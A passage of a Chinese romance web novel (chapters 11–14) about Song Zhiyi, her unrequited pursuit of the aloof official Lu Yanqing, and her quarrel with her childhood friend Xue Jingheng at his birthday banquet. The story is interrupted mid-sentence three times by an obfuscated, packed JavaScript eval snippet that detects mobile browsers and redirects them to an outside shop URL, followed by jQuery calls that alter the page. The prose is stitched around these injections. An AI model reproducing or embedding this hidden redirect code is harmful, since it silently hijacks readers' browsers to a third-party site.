“……所以看了老爷在官场上遭遇风风雨雨，止不住地心惊……我晓得老爷的志向，也晓得我接下来的话不中听，可，老爷，这官儿做到多大算大呀……这天底下，终究是老百姓多，以您的官职，已经是芸芸众生不可高攀的存在了，再执着下去，又能怎么样呢……” “功名利禄，人人艳羡，人人追逐，但又有几个人能唾手可得呢？纵使得到手，说到底就是身外之物，生不带来，死不带去。而一家人能团团圆圆，喜乐安康，看似是寻常小乐，实则‘寻常’二字，才是人生最可贵的呀！” 尾音之后，是长久的静默。 宋平勒马停驻，侧目而视，发现王贵老泪纵横，道不尽地凄凉。宋平深受触动，为之一叹：“你说得对。可我又何尝不想抽身，只是宦海沉浮，身不由己。世人皆骂我是奸佞小人，此话不假——这些年我为出人头地，左右逢源，四处巴结，做小伏低……豁出多少脸面，付出多少钱财！如果就此收手，与世无争，我活着不能够甘心，死了也不能瞑目。” 他仰望夜天，那片夜空，一如他的欲壑，无限膨胀，无边无际。 云层游弋，渐渐蔽月。宋平如梦初醒，慌慌张张道：“哎呀呀，光顾着闲聊，时辰忘得干干净净。走走走，快回家，如意那丫头也不知是醒着还是睡了。我得看一眼才安心。” 王贵收拾心情，恢复如常，一路相随。 11. 事后尴尬 这天半夜，宋知意起身呕了好几次，弄得芒岁提心吊胆，眼睛一整宿没敢合实，临到五更天才迷迷糊糊歇了阵。 因为惦记着她次日应去陆家上课，芒岁大清早强撑着爬起来，一见她睡得死死的，脸色也泛白，便先去和宋平商量，决定今儿告个假，安心养养，等明儿再过去。 而宋知意转醒时，外面已然艳阳高照，一问芒岁，回说是快午时了，假如她再不睁眼，芒岁也要强行叫她起来了。 “我头好疼，跟不是自己的一样……”她慢悠悠坐起来，芒岁眼疾手快往她背后塞了个引枕，她倚靠着，伸手捧住芒岁递来的温水啜了两小口，感觉好点了，便凝眉回忆着昨夜的事，可惜记忆断断续续的，只拼凑出在饭桌上品尝那春日酿画面，往后就彻底续不上了。于是扶额盘问芒岁首尾。 芒岁面露难色。她视之稍感不安，迟疑道：“我是醉了，那我不会当着众人说了什么傻话，或者做了什么傻事吧？” 芒岁察言观色道：“那我如实告诉姑娘，姑娘可得有个心理准备。” 她点一点头，颇有些视死如归的模样：“只要不是直接对着陆二哥哥的，那都不算事。你说吧！” 结果，及芒岁和盘托出事实以后，她顿时受到了一记重击，脑子里轰然一片，当即抱着被子滚到床角，身躯蜷缩，无声尖叫。 “已经那样了，姑娘还是想开点吧。反正我看着，小陆大人挺体面的，好像并没有多动气……”芒岁自己也觉得心虚，音量越来越小。 “他指定生气了！”宋知意扔开被子，爬将起来，抓了披散着的头发，懊悔万分，“他不当场丢开我，是他的教养……喝酒误事，醉酒更误事，我真是傻了。他原本就烦我，这下好了，估计再也不想看见我了。” 芒岁昧着良心道：“姑娘也用不着太悲观了，那不是意外嘛，小陆大人通情达理，大抵可以理解的。” 宋知意全然听不进去，一个上午垂头丧气的。 午饭后，小丫鬟交给芒岁一封帖子，说是郡主府送来的。芒岁即刻擎与宋知意，说明出处。 彼时，宋知意仍在为昨晚的莽撞冒失而后悔，闻听郡主府递了帖子，不甚注重，懒懒道：“八成又是薛云驰搞的鬼。你先搁那吧，我一会拆开看。” 芒岁同样知晓薛景珩专喜欢装神弄鬼逗自家姑娘，遂找了个小妆奁，把帖子在梳妆台上压着边角，转头询问：“厨房熬了酸梅汤，姑娘有胃口喝吗？” “随便对付两口得了。” 芒岁应声出去。 痴坐了几个时辰，不止肠子悔青，筋骨同快锈住了。宋知意伸个懒腰，穿鞋下地，取了那帖子转悠至外间的大窗子跟前，一面推窗透风，一面拆开过目。 正值芒岁端汤返回，就见她随手掷开那帖子，调侃：“一个生日，哪年不是过？往年也不见他文绉绉写了请帖给我，单是嘴上一提。今年倒新鲜，花样百出。” 当心将碗勺放置完毕，芒岁静心稍加思量，恍然道：“是了，后日就是薛小少爷的生日，合着那帖子是生辰请帖啊。” “也多亏了这封帖子，要不是它，我都没记起来后天是他的大日子。万一误了，凭他那臭德行，又该跟我较劲了。”宋知意转身回里间，抱臂胸前，沉吟不语。 她的心事，芒岁猜着了，追在身后说：“姑娘可是在为生辰贺礼而发愁？” 宋知意接言：“他那个人，要什么有什么，我是想不出他有哪样缺的。” 芒岁出谋划策：“我脑子里有个印象：薛小少爷曾说姑娘插的花很有趣。姑娘既没头绪，那不如从后园子里剪几枝花，搭配着插瓶，后天带过去应应景？” 自在陆家接触插花后，宋知意就爱上了侍弄花草，闲下来就研究怎么插瓶养眼，手底下做出不少作品。宋平第一个捧场，抱了三瓶，卧室、书房、衙门，各放一瓶；兼之每天抽空亲手打理，就差晚上搂着睡觉了。可见其重视程度。 宋知意却嫌弃道：“光这个，太拿不出手了。得了，一会你陪我上万宝阁，我挑一把折扇，后天带给他吧。” 她不陷在负面情绪里，情愿出门，芒岁求之不得呢，喜上眉梢，一口应下。 歇过午，主仆二人坐车离家，直抵万宝阁。 薛景珩性格张扬不羁，所穿所用同样花里胡哨。按照他素日的品味，选好扇子，出了万宝阁，又随处逛了逛，便回了家。 次日，宋知意穿戴素净，往陆家去。总共那么几步路，她走得沉重不堪，口里也不闲着，一直问芒岁今儿碰见陆晏清，该当如何。 芒岁也答不上来，正琢磨顺耳话劝慰她时，迎面驶来一辆马车，上头挂着印有“陆”字的两个灯笼，而驾车的恰恰是春来。 “吁——”春来勒马，停在那对主仆面前，含笑打招呼：“宋姑娘好，芒岁姑娘好。” 宋知意没理会，悄摸地往关闭的车窗上瞄，依稀看见个笔直的人影。她猜想，十有八九是陆晏清。 “怎么还不走？”车子里传出个清醇的声音，听得宋知意如芒在背——果然是他。 春来道：“回公子，是碰见了宋姑娘。” “问过好了么？” 春来回：“问过了。” “那就走吧。” 春来犹犹豫豫，试问：“公子……不打算和宋姑娘说几句话吗？” 关乎他对自身的态度，宋知意的心几乎提到了嗓子眼，屏息侧耳，专注聆听。 “男女有别，理应避讳。”他的口吻，相当淡漠。 漠然的是他，窘迫的是春来，他恨不能自抽两嘴巴子，为自己自作聪明下的胡言乱语赎罪。 “是，是……”春来扭身，以干巴巴的笑脸面对宋知意，“那不耽误两位姑娘了。” 眼瞅春来作起扬鞭打马的姿势，宋知意沉不住气，急切道：“陆二哥哥且慢！” 春来收回动作，任她走近，扒着车厢，透过薄薄的纱帘，朝内探视。 “宋姑娘，这于礼不合。再者，我有约在身，不宜逗留。”他音色冷清，纱幔后的身姿端庄正直——处处昭示着疏离。 “我就一两句话，不会拖你很久的……”昨晚失态，冒犯了他，宋知意自知不该，苦着脸说，“陆二哥哥，你就许我说完吧，不然我憋也要憋死了……行吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16533302|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚣张跋扈、娇纵无礼，乃她的代名词。她即使做了错事，亦可安然狡辩自己有理傍身，不会有错。如此一个人，同谁心甘情愿地低过头？而陆晏清偏偏是个例外，叫她再三委曲求全的例外。 一头是与友人的约定，一头是她固执的央求，陆晏清略一思索，权衡利弊，决计速战速决——若硬不顺着她，按她的脾性，大约又要生事端，等于自寻麻烦。不妨由她张嘴说，待倾诉完了，他也就脱身了。“想说什么，说吧，我听着。” 机会来之不易，宋知意不敢浪费，将酝酿多时的说辞脱口而出：“前天晚上，我真没感觉了，轻薄了你，纯属于无意之举……陆二哥哥，你别跟我置气了，可以吗？” 陆晏清不由蹙眉：“轻薄？” 相隔一层纱，宋知意所见他之轮廓朦朦胧胧，至于他的微妙神情，更加难以辨明。故此，老老实实道：“是……我已经知错了，昨天一醒来就反省，反省到现在……陆二哥哥，你宽宏大量，一定能体谅我的，对不对？” 陆晏清失笑道：“你崴了脚，我搀扶你一把，乃举手之劳，何来的‘轻薄’？” “可我还把脸在你……” “那是意外。”他打断她。默然须臾，又道：“我帮你，是无心之举；你所说的轻薄，是刻意为之——不可混为一谈。” 她不解释尚可，一通拼命解释，顺理成章给陆晏清留下了个“不学无术并口没遮拦”的印象。 宋知意捕捉到重点，脸上渐渐云开见日：“对，我确实不是故意的！……那既然陆二哥哥你承认是意外了，是不是代表你不和我生气了？” 陆晏清不答反问：“只此而已？还有其他事么？” 她正是为一个确切答复才百般阻挠他走的，而今他闭口不谈，她当然不能轻拿轻放，势必打破砂锅问到底：“陆二哥哥，你还生我气吗？” 她不依不饶，而为了顺利抽身赴约，陆晏清只好回归她的问题，平淡道：“我没必要跟宋姑娘动气。” 有他无视自己的前车之鉴，宋知意疑神疑鬼，追问：“你当真不气了？” 陆晏清懒得纠正他并非不气，而是从未跟她斗气，敷衍一“嗯”。 宋知意终于放心，又恢复常态，找话题套近乎：“陆二哥哥坐马车出来，是今日不上值吗？”他鲜少乘车，出发上朝，以马代步；办私事的话，近则步行，远则骑马。 陆晏清惜字如金道：“休沐。” “哦……”遇上他，她总有说不尽的话，“你刚刚说有约在身，你约了谁呀？我认识吗？”她其实是好奇他所约之人是男是女。 “一个故友。”陆晏清耐着性子道。 “啊，这样啊……”他不愿意明说那人身份，她免不得猜疑，越猜疑，越没底，整个人可见地耷拉了下去。 她或是失落，或是怎样，陆晏清一概不关心。掐指算算时辰，快迟到了。便道：“酒量不佳，最好不碰。误事是小，伤身为大。时间不早，宋姑娘进家门吧，以免迟到挨罚。我也先行一步了。” 他去意坚定至此，总不好一直厚颜拖延。宋知意缓缓让开路，目视车轮滚向远方。 12. 竹马生辰 为庆贺薛景珩十七岁生日，祥宁郡主及其丈夫薛裕，倾尽人情人脉，向诸位皇亲国戚、京城士宦人家发出邀贴。众人欣然捧场，连宫里的公主皇子也亲临现场，帝后、太后亦派遣身边红人前来道贺。场面空前盛大。 这日大清早，薛家门前车水马龙，人头攒动，宋知意的马车根本挤不进去，唯好远远地停靠下车，携芒岁走路入薛府。 及至人群外围，右手边忽然闪出个人影，随即右手腕给扯住，打眼一瞅，是一身绯衣，头顶玉冠的薛景珩。“这人多，不好走，我领你走角门进去。” 他手劲大，出现得也突然，宋知意来不迭挣扎，只慌忙回头告芒岁跟紧了，注意别走散。 芒岁唯唯诺诺。 宋知意来过薛家几次，对薛家还算熟悉，眼看这路越走越偏，心觉怪异，直白道：“你的席不是设在花厅吗？这不是去花厅的路呀。” 薛景珩目视前方，道：“我有话跟你说。” “有话说？”她越发不解，“说话就说话，哪里不能说，非七拐八绕的，都不知道拐什么地方去了。” 薛景珩道：“我的话是私下对你的，不想其他人听着，所以得寻个僻静处。” 她习惯性地嘲讽：“你老是装神弄鬼的，真没意思，我懒得理你。” 薛景珩冷不丁站住，回过身，手却没撒，捏着她手腕子，板着面孔道：“我没意思，那你觉得谁有意思？” 觑他面色青黑，好像是恼怒了，她骤感荒唐，嗤笑道：“你又哪根筋搭错了，整出那个死人般的嘴脸？” 她的诘问，薛景珩置若罔闻，光揪着问：“你说我没意思，那你说说，谁有意思。” 宋知意也恼了，将手一夺，一摔，冷笑道：“我才来，话都没讲几句，你就对我盛气凌人的。问你，你还装聋。薛云驰，你最近一再摆脸子给我看，语气也牛哄哄的，你是不是被野狗咬了，传染了疯病了？” “我到底为什么不高兴，你不知道么？”她抽了手，他的手心空落落的，然他的双目截然不同，全然摄着一个她。 宋知意强忍捶他一拳的冲动，无力发笑：“那你说说明白，我哪处得罪了你。否则莫须有的冷眼和谴责，我是断然不认的。” 缄默少时，薛景珩咬牙道：“我这些天不找你，你为什么也不找我？” “……你好歹动动脑子，我近来不都在陆家受教吗，哪儿来的闲暇找你？”他的蠢问题，成功转移了她的注意力，她像看傻子似的看他，噗嗤一笑，“再说了，纵使我忽略了你几天，以咱们俩的交情，你至于动辄就大发雷霆的吗？你的心眼难道是针做的不成？” 薛景珩一点不让着她：“是我没脑子，还是你压根觉得我这号人可有可无，因此我是活着或是死了，你都安心不闻不问？” “你有没有良心？我不闻不问，那我今儿顶着大太阳过来干嘛来了，莫不是嫌家里冰块镇着太凉快太舒坦，专门出来找不痛快了？”他一味血口喷人，彻底惹毛了她，她抡起拳头对着他上半身打个不停，“薛云驰，薛景珩——！你活活就是个泼皮无赖！你狗咬吕洞宾，不识好人心！” 她打，薛景珩闷声受着。待她打累了，除去戾气，挨着芒岁气喘吁吁时，他说：“那你知不知道，你自由自在这几天，我被我母亲锁在屋子里，被迫听那官媒婆在耳根子边溜嘴皮子——夸这家姑娘温婉贤淑，赞那家千金才貌兼得。我躲又躲不得，几乎烦死了。” “反观你宋如意，可谓人如其名，我在那煎熬，你在陆家，又是吃晚饭，又是品美酒，到最后还和你的陆二哥哥共乘一车，当街搂搂抱抱——仿佛如鱼得水，混得风生水起，称心如意。” “这样理论下来，你仍会觉得你无辜，而理直气壮斥骂我的话，我无话可说。你或打或骂，随你的便。” 此长篇大论，包含的信息太多太杂，宋知意自个消化半日，方才尝出咸淡来，惊讶道：“官媒婆上你家……你要跟谁提亲？” 敢情费了这么多唾沫星子，她该曲解依然曲解。薛景珩蓦然气笑了：“怎么就成我和谁提亲了？你没听见我是被锁在家里，迫不得已接受那没完没了的吹嘘的？” 宋知意一拍手：“那不还是给你说媒的，我寻思也没理解错。” 看解释不通，薛景珩索性将错就错，问她：“那媒婆给我说媒，你是怎么看的？” 此一问，切实地难住她了。他们大小玩到大，她觉得自己还小，远没到谈婚论嫁的时候，他也一样，是个每天和自己吵嘴的小屁孩。可这乍乍地就说为他说亲……着实怪怪的。倒不是有意见，她为人很开明很公平的——她有心上人，那总不能拦着他独自守着当光棍吧！此外，待他也有了在意的人，就不会总盯着她对陆晏清怎样怎样，而阴阳怪气了，何尝不算一件喜事呢。 她豁然开朗，怡然接受现状。 “反正不是坏事。”她耸肩摊手，“如果对方人品好相貌佳，同出身高门贵族，配你也够够的了。” 薛景珩如鲠在喉，待回过味来，险些原地跳起来：“你就如此轻描淡写应付我的？” 双方有了新鲜话题可聊，宋知意不觉将适才脸红脖子粗的争执抛在脑后，以慈眉善目示人：“我很认真的。你看你老不忿我提陆二哥哥，那现在有人替你打算，等你也有了心上人，你就有事可干了，自然顾不上频频跟我赌气了。一箭双雕，两全其美，多好啊。” “呵……”薛景珩自嘲一笑，“这个关节，你还在惦记你的陆二哥哥……我真是闲得慌，明知你是个蠢货，我偏不信邪，非跟你争个高低。”他一挥袖，视线越过她，投诸于来时路，“我母亲也差人往陆家递了请帖，不出意外，你的陆二哥哥也出席了。走吧，去前院，寻你的陆二哥哥，继续在众目睽睽之下，热脸贴冷屁股，然后被人指指点点，由人耻笑吧。” 不再管她是何面目，他丢下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542048|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，潇洒走人。 莫名遭了一顿丑话，宋知意怨愤难平，当场呵斥芒岁把抱了一路的生辰礼就地丢弃，她非踩个稀巴烂，不然过不去这个坎。 芒岁理智，不听她，护在怀里，一面苦口婆心宽慰她。 好在她是个直性子，气来得快去得快，瞥一眼那红木匣子，念那东西值不少银子，勉强休了毁坏作贱之意，循着来路，边逢人打听，顺顺利利抵达前厅。 前厅乃招待男宾的场所，蓦地闯入两个貌美小娘子，在场众人齐刷刷朝她们注目。 薛景珩共一帮狐朋狗友混迹其中。 一个公子哥儿摩挲着下巴，调侃道：“云驰，那站着的不是宋家姑娘吗？你天天追在人家身后，千方百计博人家笑颜，如今人家误入歧途，你怎么不去解围，反而坐得实实的？” 其余人俱捧杯不语看好戏。 薛景珩自斟一杯酒，送于唇畔，目光却不在眼前琼浆上，一直落在对桌御史台诸官员的一举一动上。 此刻，陆晏清敛祍起身，向同僚拱手表示去去就来。御史台众位望见前面呈迷茫之态的宋知意，均心领神会，纷纷体面回复他尽管自便，这头不着急。 陆晏清无别话，长影迎光，经过各个圆桌酒席，与宋知意会面。 薛景珩及时撤回注视，堪堪避开那二人碰面私语的一幕。他终于记起唇际微凉，一饮而尽。后来玩味道：“自有人维护她，我何必露那个脸，多此一举。” 大家瞧他怏怏不乐，黯然神伤，免了打趣他的心思，回归吃酒作乐。 话说宋知意兀自迷惑间，陆晏清翩翩然而来，扔下一句话：“此处不是你该来的，女客席在后院。” 恍惚过，错乱过，她挠挠头，没好意思分辩自己并非不留神过来的，实为听闻他在此，预谋找来的。 “宋姑娘，”只言片语的空子，她又神思出走了，陆晏清沉着脾气，叫她恍回神，“为了你的清誉，此地不宜久留，快快离去吧。”他用眼色指了一条明路，“沿着那条路直走，一盏茶即到后院。” 他以不容置喙的语态给她安排妥善，思及昨天街上他爱搭不理、不屑一顾的光景，她有些胆怯，生恐一个没管住嘴，又触着他逆鳞。遂谎称：“哦，我走错路了，幸好陆二哥哥你及时出现解救我……多谢陆二哥哥了。” 听见她死性不改，坚持以“陆二哥哥”称呼自己，陆晏清万般无奈，收起再次纠正的念想——他为人低调，公然离席指引她已然引人注目，设若跟她就一个称谓而讲大道理，未免招摇太过。他不喜欢那样。 “不必言谢。”他站姿微斜，让开前去后院的路，“请吧，宋姑娘。” 才分明说过是偶然闯来的，她也没理由赖留恋，皮笑肉不笑道：“那陆二哥哥少喝点酒，喝酒……伤身。我先走了。” 以目相送她远离后，陆晏清信步回席，正襟就座。举手投足之间，优雅贵气浑然天成。 13. 冤家聚头 后院乃女眷们的地盘。宫里的公主们都是上了年纪的，和那些未出阁的小姑娘们无甚共同话题，便只走个过场，相约离开了。剩下的人里，郑箏最厉害，号令众人。明明是给薛景珩组办的宴会，出风头的倒成了她。 隔得老远，郑箏那尖锐的笑音传扬过来，光听着就聒噪刺耳。宋知意轻蔑讽刺：“也不知道她常年乐什么呢，那个嘴老是合不住，魔音阵阵来折磨他人。” 芒岁无言以对。 “呦！瞧那是谁来了？——鼎鼎大名的宋姑娘啊。”郑箏的一个跟班先瞥见她，扬声吸引其他人。 郑箏徐徐敛笑正容，自座位上起来，步调缓慢，途经一片花丛，随手采下一朵牡丹，拈在指尖闲闲把玩。“偏偏你架子大，让这么多人等你。” 崔璎也在，周氏却缺席了，不为旁的，是她染了风热，不便出门。少了周氏，那这个地界就没一个欢迎宋知意的了。 她收回环视，直盯着郑箏：“等我做什么，今儿个又不是我过生日。” 回完，避开郑箏，直入席间，寻了个角落的位子，泰然坐稳。 将那朵牡丹一掷，郑箏踩着它回席。 无聊的酒席，无聊的谈笑，无聊的人。宋知意一心盼着赶紧结束。偏不遂她意：吃喝毕，郑箏说早闻薛家的后园子修得宛如天宫，故提议趁今天去薛家的后园子一游，好开一开眼界。大家全道好。 漫说薛家后园子她早就逛过，即便见所未见，也没兴致折腾一趟，况且和郑箏等人同行。因此明确表示：“你们去吧，我回家了。” 郑箏可不顺着她，讥笑道：“你迟到也罢，现在大家都去逛，独你唱反调，你不觉得很扫兴么？” 宋知意不吃这招，挑眉道：“我去不去，是我的事，怎么就扯到大家扫不扫兴了。而且，你们平时吃茶聚会不叫我，这时候却留我……你们是什么居心？” 见郑箏陡然涨红了脸，崔璎及时出面说合：“我们只是好意，哪里有什么居心。宋姐姐，你真是多心了。” “哦，那就算我多心好了，反正今儿我没兴致，不想去，只想回家歇着。”她朝郑箏崔璎挥挥手，“你们尽兴，我走了。” 郑箏气得磨牙凿齿，啐了一口，骂了好几句。崔璎在旁柔声开导着，方才平息气焰。 前厅后院皆散了席，人们相继告辞。 陆晏清早坐腻了，拱手辞过御史台同僚，昂首阔步出来。及撩衣摆上车，春来张望着说：“公子，宋姑娘在那后边，绕着马车一直转圈，不晓得是做什么呢。” 陆晏清回首看顾，却和春来所描述的有所出入：她不转圈了，在车轱辘边站着，抬脚踹了两下车轱辘，嘴巴张张合合，朦朦胧胧分辩出“倒霉”“晦气”几个词儿——总之不是好话。 主动招惹祸患绝非他的作风，于是不声不响转回视线，告诉春来收收心，准备回家。 所谓怕什么来什么，他躲归躲，但招架不住麻烦积极找上头——宋知意小跑过来，蹙眉撇嘴，可怜兮兮道：“不知道是谁手欠，把我车子的轱辘卸松了，一时半会修不好，可我又急着回家……陆二哥哥，横竖咱们顺路，你能不能载我一程？” 果然，回回遇上她，回回没好事。 嫌烦是真的，无法袖手旁观也是真的。陆晏清颔首，勉为其难应允了。 宋知意立时转忧为喜，笑盈盈道：“我就知道，以陆二哥哥的人品，定不会坐视不管的。谢谢陆二哥哥！” 陆晏清错开眼，回头叫春来取下车凳。见状，宋知意笃定是拿给自己使的，摆摆手，洒脱道：“不用那东西，我自己上得去。” 接着靠近马车，将裙摆一托，左脚堪堪离地，后脑勺就有薛景珩的声儿：“你车坏了，着急走，赶巧我要出门，路过宋家，由我捎你一段，成不成？” 她只得拿回脚，使左右脚并拢一处。 此间，薛景珩自耳畔移至眼前，刚好和陆晏清两个人，分立于她的左右手边，以致于她没法一心二用，得专门注视其中一个人。不过，鉴于才和薛景珩吵得不欢而散，她并不情愿看他，因将冷傲的侧颜留给了他：“薛小少爷是寿星，多的是朋友等你招待。我哪怕是蠢货，也省得是非情理，就不占用薛小少爷的时间了。” 薛景珩口里啧了下，道：“谁说你占用我时间了？我刚没说我是正好出门，捎带你回家？” 实情是，他无事需要出门，是文进在帮着家里送客时，望见她围着车子转悠，又耳闻她说起车子坏了，存着心眼子，扭头报与他知后，他按捺不住，自行找出来的。 他偏生看不惯她巴结陆晏清，宁愿打自己的脸，贱兮兮横插这一脚。 宋知意油盐不进道：“那你办你的事好了，我又没乞求你捎我一路。” “……一句话，你走不走？”薛景珩已处于耐心消耗殆尽的边缘地带。 “不走。”宋知意顶顶讨厌人家逼迫她，顺滑地翻了个白眼，“不走不走不走不走，就是不走。听清楚了没？” “好。”薛景珩点点头，却不代表同意，反而动用武力，抓着她手腕意欲拖离现场。 宋知意当然不会束手就擒，不住挣扎道：“你给我放开……放开！” 薛景珩阴着脸，按下她的反抗：“放着我这么个人不知道理，你去求别人……你真是又蠢又犟。如若你不蠢，那天底下没一个蠢人了。” 见抵抗无效，宋知意灵机一闪，眼疾手快，迅速用闲着的手扯住芒岁，同时向陆晏清求助：“陆二哥哥，我不想跟他走，你快帮帮我！” 陆晏清本就没有插手的之意，是春来看不下去，小声说：“他们一声张，把人全招引过来了。公子，你还是管一管吧，毕竟是在咱们家的车子跟前；而且好多人聚着，堵了路，咱们即使明哲保身，自己走，也走不得啊……” 果真，那两个人的拉拉扯扯成为了焦点，散席出来的人们很快站了一圈，将他和陆家的马车一并围了进去。这节骨眼想脱身，不可谓不棘手。 衡量一番，陆晏清将眼睛一闭一睁，目视前边剪不断理还乱的几人，尽可能平和道：“宋姑娘，你自己说，你跟谁走。” 闻言，薛景珩心态一变，重点也变了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548767|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒开宋知意，回视陆晏清，剑眉一扬：“陆二公子确定要管这事么？” “并非我有意管，”陆晏清见过大风大浪，向来处变不惊，从容淡雅，“是她，”他朝宋知意的方向一瞟，“先来求了我，我也答应了她带她一程。有诺在先，合该履行。” 他公事公办的模样，薛景珩睹之，忍俊不住，戏谑道：“她的事不是公事，没人逼着你陆二公子践行。你心里不情不愿，嘴上却头头是道的。不觉得挺虚伪么？” 贬低陆晏清，宋知意首先不容许，立刻挺身而出，回呛薛景珩：“你在耍什么少爷脾气呢？本来就是我央陆二哥哥顺路载我，他也允了。我情他愿的事，到你嘴里就成虚伪了，你真的是在捣乱吧？如此闹僵了，于你又有什么好处！” 她如何控诉指责自己，薛景珩不予追究，他只将矛头对准“理中客”“不得已的局外人”——陆晏清：“陆二公子，这老多人看着，咱们体面一点——宋如意是我打小玩到大的人，犯不着堆笑求谁，我自会送她送到底。陆二公子，不知你感觉这么处理，妥还是不妥？” 宋知意打岔：“是我坐车回家，你替我决定什么呢？”后转头面对陆晏清，“陆二哥哥，你体谅体谅他，不必和他当真。至于你刚刚问的，那我都跟你提了，肯定是愿意乘你的车。” 不及陆晏清接话，薛景珩勃然大怒，口不择言：“宋如意，你一个姑娘家，老追着一个大男人屁股后边，你懂不懂羞耻？你要不要脸面？你何止是蠢，你是自轻自贱，倒贴成瘾了！” 宋知意恼羞成怒，再难压抑愤怒，对着他的脸手起巴掌落，冲他大吼：“你骂谁自轻自贱呢？”吼完委屈劲儿翻涌上来，泪水涟涟，“你我是关系好，可这不是你能侮辱我人格的理由！” 薛景珩懵了，既懵自己的信口开河，亦懵这热辣辣的一耳光。 他们争执得不可开交，还把陆晏清牵连进来，最终无法收场，导致陆晏清忍无可忍，凛然道：“争够了没？” 那二人双双看他。薛景珩没好气道：“够没够，你说怎么着？” “没够，二位可以继续，但前提是我没空亦没兴趣观看二位的闹剧了。”陆晏清一呼一吸，掩起锋芒，重归冷漠之色，“春来，你留下，替宋姑娘修理马车。几时修好了，几时再走。” 春来问：“那公子呢？” “我回衙门料理公务。”他拂袖上车，喝令车夫上路。 春来依照指示，过去检查车况，问题并不严重，便管宋家的车夫讨了工具上手维修。 陆晏清离了眼前，薛景珩也冷静下来，轰走周边看客，酝酿着同宋知意搭话。 “我不坐陆家的车，也不坐你的，我坐我自己的。”宋知意先发制人，一个正眼不曾给他，俨然拒他于千里之外，“我现在不想看见你，不想和你交谈，请你识趣点，别来招惹我。” 薛景珩后知后觉将才行事过了火，狡辩不来，但并不远离，光静悄悄陪她等马车修好，巴巴儿目送她乘车离去。 此情此景，他自悔恨无限。原地杵了大半日，方失魂落魄进了家门。 14. 端午前夕 往后小半个月里，薛景珩千方百计躲着祥宁郡主，去宋家负荆请罪，可惜宋知意心如磐石，一次也不理睬他。 为此，薛景珩气急败坏，回到家里，常常心不在焉，逢人待理不理。祥宁眼光何其老辣，一下瞅出他的病灶，得了闲就把他叫屋子里，就“以后少和宋知意来往”一事上，三令五申，耳提面命；兼屡屡规训他好好读书，考取功名。而薛景珩倔驴脾气，坚决不认同。 祥宁气恼，想着他每每去宋家，无一例外全是自掏腰包给宋知意挥霍了，那身无分文的话，他还有上赶着讨人欢喜的亢奋劲儿就怪了。于是狠下心，大手一挥，断了他的花用，试图逼他做个了断，回归正途。 手头摸不出一文钱来，薛景珩自觉丢面儿，迫不得已暂时歇了一趟趟去宋知意跟前露脸讨好的念想，一门心思和祥宁抗议即将强加在头上的亲事。 抗议无效则剑走偏锋——今儿介绍同哪家姑娘相看，他就加倍桀骜不驯，吓走对方；明儿官媒婆登门问询，他就轻飘飘回：“不好意思，我天生混账，改不了。”陆续呛退五六个官媒婆。渐渐地，无人肯招揽说合他的终身大事，可给祥宁气完了。 一个顽劣，打死不改；一个固执，不惜动用人力物力财力，持续托人各处打听美言，从不倦怠。闹得偌大薛府，鸡飞狗跳，乌烟瘴气。 * 一晃临近端午，闺中学堂放假三日，前朝亦然。由此，宋知意脑筋一动，向芒岁倾诉心声：“正式过节那天，汴河里会举行龙舟比赛，我想约陆二哥哥一块观看。你说说，他会怎么答我？” 芒岁支支吾吾半晌，道不出个所以然来。她嫌不痛快不敞亮，豪气干云道：“我让你说，不论是好的坏的，你说就得了。嗯嗯啊啊的，听得我闹心。” “小陆大人做人清冷，深居简出，除了每天上值下值，绝不轻易在市井抛头露面。端午节汴河边，人挤人，恐怕小陆大人……”顾及她的颜面，芒岁点到为止。 确如她所言，陆晏清是个表面儒雅内心冷漠的人，想叫他打破惯例，难如登天。宋知意倏尔气馁，丧丧道：“那我就只有死心了？可是他一年到头忙得神龙见首不见尾的，好不容易端午过节休息几天，我若不趁着这个关口约他，那下一回最快也到中秋了。” “其实也不是完全转圜不得……”芒岁凑得近些，“姑娘不好约，那可以在陆家大少夫人那儿多做做文章嘛——假如陆大少夫人出面，明天请上陆夫人去河边看趣儿。届时河边人山人海，小陆大人肯定不放心家里母亲嫂嫂的安危，势必陪同。” 宋知意豁然开朗，接着说：“那我就装作偶遇，然后同她们一起，那么陆二哥哥也没理由撵我……妙啊，真是妙啊！” 芒岁挠头憨笑。 “那你现去陆家，找到陆大嫂嫂，拜托她提一提明儿到汴河边的事。”她迫不及待，抖擞精神，推着芒岁的肩膀出门，“别走路了，坐车子去，一会天黑了。” 芒岁哭笑不得，风风火火上了陆家。 